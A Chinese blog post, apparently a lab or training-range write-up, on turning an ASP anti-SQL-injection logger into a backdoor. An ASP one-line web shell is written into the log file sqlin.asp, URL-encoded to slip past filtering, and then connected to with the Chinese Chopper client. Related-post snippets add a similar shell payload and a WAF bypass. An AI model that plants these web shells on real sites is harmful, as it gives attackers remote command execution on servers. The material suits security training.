SQL注入实战(防注入)-Access

于 2022-10-01 23:28:55 发布
阅读量241 收藏
点赞数
分类专栏： sql注入 文章标签： 安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_47493074/article/details/127138732
版权

漏洞简介

access通用防注入系统会把所有记录存到sqlin.asp中

漏洞复现

在这里插入图片描述
常规注入测试，发现被拦截，但是记录会被写进网站日志文件中
在这里插入图片描述

那么就可以利用一句话木马了，这里使用asp类型一句话木马

<%execute(request("pass"))%>

发现进行了编码，那么把一句话木马也编码一下
在这里插入图片描述
修改后

%3C%25execute(request(%22pass%22))%25%3E

在这里插入图片描述
去到菜刀连接，找到文件

在这里插入图片描述

Yolo山药
关注
专栏目录
Metasploit SQL注入漏洞渗透测试实战
悦分享
12-07 1101
现代化Web应用程序在设计时都会将代码与数据进行分离，这些数据会独立保存在服务器中。当数据量较大的时候，需要使用一种特殊的数据管理程序，也就是常说的数据库。目前比较常用的数据库软件有MySQL、SQLServer、Access等，不过它们的操作都要遵循SQL（Structured Query Language，结构化查询语言）标准，但是不同的产品之间存在着一定的差别。SQL注入攻击是通过操作输入来修改SQL语句，以达到执行代码对Web服务器进行攻击的方式。
Sql通用防注入系统
07-25
Sql通用防注入系统
SQL通用防注入程序
07-31 140
SQL通用防注入程序 v3.1 最终纪念版 http://js.down.chinaz.com/Z2006O999/ÆäËüÀà±ð/FySqlX3.1.rar 用这个吧``里面有使用说明``很简单的`` neeao.txt文件里有说明,使用方法很简单,, 只要在需要防注入的页面头部用 <!--#Include File="Neeao_SqlIn.Asp"-...
0x35.SQL注入实战(防注入)-Access
qq_31679787的博客
12-10 191
查找资料得知，sql通用防注入系统写入的日志文件为sqlin.asp，所以构造一句话木马写入文件中； 发现无法写入后通过URL编码进行绕过； 使用菜刀连接并找到key； ...
SQL注入实战(防注入)-Access＜墨者学院漏洞操作记录＞
chick11的博客
07-16 318
1、 打开靶场 拿御剑扫秒后台 百度得知所有记录会保存在sqlin.asp的目录 2、 插入一句话木马 <%eval request(“user”)%> http://219.153.49.228:47828/news.asp?id=1%20 and%201=%3C%eval%20request(%22user%22)%%3E 3、 对木马进行URLencode 使用菜刀连接并找到key； ...
实战初级SQL注入-access篇
edegod的博客
02-19 4608
这是我的第一篇文章，如有不好的地方还请多多担待，才开始接触网络安全，小白一个。学习过程中遇到了非常多的问题，过程中发现很少有关于纯新手的文章，入门很难，所以我写了这篇文章，带大家能够更简单的理解网络世界。话简单说，接下来是我看小迪渗透视频所学到的，我整理了一下，一步一步很详细，基本谁都能看懂。搭建虚拟机，安装镜像就跳过了，网上也说的很明白，至于特定的软件安装，百度也有详细的解决办法。SQL注入个人...
*sql注入实战--记一次绕过WTS-WAF拦截注入**
Q963260583的博客
06-04 8997
记一次绕过WTS-WAF拦截注入 关键字搜索 inurl:asp.id= 搜出了一个Asp+Access的小网站，接着尝试进行注入。 但是碰到了拦截，尝试用注释污染参数进行绕过，结果还是不行。 如图所示： 接着尝试改用+号替代空格，居然成功了。 如图： 接着就是尝试用order by 函数匹配了，而且order by 函数也不拦截，得出结果为13. 然后就是进行数据查询了，同时进行表名的猜...
超级SQL注入工具使用说明书V1.1 20190303.docx
05-03
总的来说，超级SQL注入工具以其高效、全面的特性，为安全测试人员和信息安全工程师提供了强大的SQL注入检测和利用能力。它不仅可以帮助测试人员快速发现和理解注入漏洞，还能通过详尽的发包记录辅助学习和解决问题。...
SQL注入攻击及防御 手动注入+sqlmap自动化注入实战（网络安全学习12）
Until_U的博客
07-05 4659
1 项目实验环境 测试渗透机：kali_linux-2020 链接：https://pan.baidu.com/s/1apN96nIcs1Fyx8YmFs24Xg 提取码：32ve 目标靶机：owasp_Broken_Web_Apps 链接：https://pan.baidu.com/s/1CMJ2aERmDGlXXkhUmjDmtA 提取码：9zsj 2 SQL注入概述 2.1 SQL注入简介 在owasp年度top 10安全问题中，注入高居榜首。SQL注入攻击指的是通过构建特殊..
\SQL通用防注入系统
07-30
SQL通用防注入系统.rar \SQL通用防注入系统.rar \SQL通用防注入系统.rar
SQL通用防注入系统3.0增强版
04-02
对ASP网站防SQL注入相当有效。在网上找了很久才找到。希望对有需要的人有帮忙。
SQL通用防注入系统3.0(asp)版
03-26
SQL通用防注入系统3.0(asp)    2.0增强版   增加了自动封注入者Ip功能，使注入者不能再访问本站！  3.0版 在2.0增强版的基础上，加入了后台管理功能：  可以查看入侵者提交数据记录功能，解除对注入者ip封锁，以及删除注入记录功能！     文件说明：  Neeao_SqlIn.Asp 防SQl注入主文件，需要注意以下几点：    Neeao_sql_admin.asp 后台管理文件  注意：请用记事本打开Neeao_sql_admin.asp修改里面的管理密码！    使用方法很简单,,  只要在需要防注入的页面头部用   <!--#Include File="Neeao_SqlIn.Asp"-->  就可以做到页面防注入~~  如果想整站防注，就在目录的数据库连接文件中添加头部调用，如conn.asp中！添加  <!--#Include File="Neeao_SqlIn.Asp"-->  需要注意的是，在添加到数据库连接文件中，为了不和程序发生冲突，  需添加在文件代码的最底部！  
SQL通用防注入系统3.1β版
05-14
SQL通用防注入系统3.1β版 希望这个小东西能给大家的网站带来一点安全！ 2.0增强版 增加了自动封注入者Ip功能，使注入者不能再访问本站！ 3.0版 在2.0增强版的基础上，加入了后台管理功能： 可以查看入侵者提交数据记录功能，解除对注入者ip封锁，以及删除注入记录功能！ 3.0修正版 修正了封ip的一个Bug! 3.0正式版 针对用户提出的问题做了一点补充! 3.1 β版 加入对cookie部分的过滤，加入了对用js书写的asp程序的支持，加入了对安全表单的取消过滤！ 文件说明： Neeao_SqlIn.Asp 防SQl注入主文件，需要注意以下几点： Neeao_sql_admin.asp 后台管理文件 关于以前版本的升级，直接覆盖文件和数据库即可使用！ 注意：请用记事本打开Neeao_sql_admin.asp修改里面的管理密码！ 使用方法很简单,, 只要在需要防注入的页面头部用 <!--#Include File="Neeao_SqlIn.Asp"--> 就可以做到页面防注入~~ 如果想整站防注，就在网站的一个公用文件中，如数据库链接文件conn.asp中！ 添加<!--#Include File="Neeao_SqlIn.Asp"-->来调用本软件 需要注意的是，在添加到数据库连接文件中，为了不和程序发生冲突， 需添加在文件代码的最底部！ 发现问题请告诉我，我来修正，谢谢你使用本软件！
Access数据库注入方法及防范
xabc3000的专栏
05-30 3316
Access数据库想对于MsSql来说可谓小巫见大巫，但是Acc的数据库在目前国内还是有一定的市场，其注入也很灵活。相信你看完本文就会了解到Access也是很强大的。 一，基础篇 1、猜解表名，这里借用啊D的语句： and exists (select * from 表名) 2、猜解列名： and exists (select 字段 from 表名) UNION法，在执行union之前
SQL通用防注入程序 V2.0 完美版
jerrynet的专栏
06-08 1752
--------版权说明------------------SQL通用防注入程序 V2.0 完美版本程序由 火狐-枫知秋 独立开发对本程序有任何疑问请联系本人QQ:613548 Http://Www.WrSky.Com此版本欢迎到转载~~~--------定义部份------------------Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_
SQL通用防注入程序 完美版
我叫阿东亮
12-21 1051
--------版权说明------------------SQL通用防注入程序 完美版 By 若寒(X.L.B) QQ:343576462--------定义部份------------------Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr,alerts自定义需要过滤的字串,用 "|" 分隔Fy_In = "|;|and|e
Sql通用防注入系统 v3.5 完美版
weixin_33895657的博客
06-20 245
Sql通用防注入系统 v3.5 完美版 优化了代码，运行速度大大增快~~ 对POST，GET分开处理~~ 自定义需要过滤的字串 加入写数据库记录功能~~~~ 记录显示页没有做 需要记录显示页的自己做一下吧！！！！ 使用方法： 在需要防注的页面头部用 <!--#Include File="SqlIn.Asp"-->包含就可以了（根据需...
SQL注入入门与实战解析
SQL注入全面讲解 SQL注入是一种常见的Web应用程序安全漏洞，它允许恶意用户提交恶意SQL代码，从而操纵数据库并获取、修改或删除敏感信息。随着B/S（浏览器/服务器）模式的广泛应用，这种漏洞变得更为普遍，尤其是在...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值